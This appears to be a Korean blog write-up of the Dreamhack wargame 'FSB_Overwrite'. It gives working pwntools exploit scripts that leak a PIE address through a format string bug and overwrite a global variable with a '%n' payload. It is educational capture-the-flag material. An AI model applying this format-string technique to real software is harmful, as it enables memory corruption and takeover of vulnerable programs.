security/포너블 - dreamhack

[Dreamhack Wargame] FSB_Overwrite

민사민서 2023. 6. 14. 03:02

Full RELRO, NX, PIE, No canary, 64bit ELF

buf에 엔터포함 0x20자까지 입력 가능, 입력값이 바로 printf 인자로 들어감 => fsb 취약점
changeme 전역변수를 1337로 바꾸기만 하면 됨

PIE 적용되어있어서 changeme 주소 계속 바뀜

- 스택에 있는 main함수 주소(rsp+0x48)를 leak해서 changeme 주소를 구한다
* changeme 주소가 rip+0x200700로 결정되므로 CODE 섹션과 DATA 섹션 간 offset 일정

- 스택상에 changeme 주소를 쓰고
* 처음에는 %ln으로 changeme 주소를 스택에 쓰려고 했으나 ($rsp+0x58 = %17$p 위치에 rsp+0x148 주소가 담겨있다) 
왠지 모르게 큰 값의 경우 안먹힘
* 그냥 buf[20]에 입력하면 되잖아 ㅋㅋㅋ

 

- changeme 주소에 값 입력

* 로컬에선 됐는데 서버에선 안먹힘 %15$p에 다른 값 들어있음

from pwn import *

p = process("./fsb_overwrite")
# p = remote("host3.dreamhack.games", 17619)

# 6번째에 등장
# p.send("AAAAAAAA %p %p %p %p %p %p %p %p %p")

p.sendline("%15$p")
leaked = int(p.recvline()[:-1], 16)
changeme = leaked - 0x4008bd + 0x60101c
print(hex(changeme))
# gdb.attach(p)

# printf는 null byte 만날 시 종료되므로 exploit 주소를 맨 뒤로
payload = b'%1337c%8$n' + b'A'*6
payload += p64(changeme)
p.sendline(payload)
p.recvline()

p.interactive()


서버 바이너리의 스택 상황을 다시 파악하자

- $rsp는 6번째에 동일하게 등장

 

for i in range(7,31):
    p.sendline("%{}$p".format(i))
    print(p.recvline())

 

이렇게 전부 출력해보니

b'(nil)\n'
b'0x55580307a940\n'
b'0x55580307a730\n'
b'0x7ffe23d07e60\n'
b'0xad8b8a8442f5b300\n'
b'0x55580307a940\n'
...

 

이런식으로. %8$p 와 %9$p 에 누가봐도 코드영역같은 주소가 존재.

맨 뒤 3자리는 동일할 것이므로 (페이징 최소단위 0x1000) 로컬 환경에서 offset 고려하여 검색해보니

pwndbg> x/gx 0x555555400940
0x555555400940 <__libc_csu_init>: 0x41d7894956415741
pwndbg> x/gx 0x555555400730
0x555555400730 <_start>: 0x89485ed18949ed31

=> %8$p를 이용해 PIE_BASE 구해서 exploit

from pwn import *

# p = process("./fsb_overwrite")
p = remote("host3.dreamhack.games", 16895)

# 6번째에 등장
# p.send("AAAAAAAA %p %p %p %p %p %p %p %p %p")

p.sendline("%8$p")
leaked = int(p.recvline()[:-1], 16)
changeme = leaked - 0x555555400940 + 0x000055555560101c
print(hex(changeme))
# # gdb.attach(p)

# # printf는 null byte 만날 시 종료되므로 exploit 주소를 맨 뒤로
payload = b'%1337c%8$n' + b'A'*6
payload += p64(changeme)
p.sendline(payload)
p.recvline()

p.interactive()

 

'security > 포너블 - dreamhack' 카테고리의 다른 글

[Dreamhack Wargame] Cat-Jump  (0) 2023.06.15
[Dreamhack Wargame] STB-lsExecutor  (0) 2023.06.15
[Dreamhack Wargame] awesome_basic  (0) 2023.06.15
[Dreamhack Wargame] Stupid GCC  (0) 2023.06.14
[Dreamhack Wargame] Master Canary  (0) 2023.06.14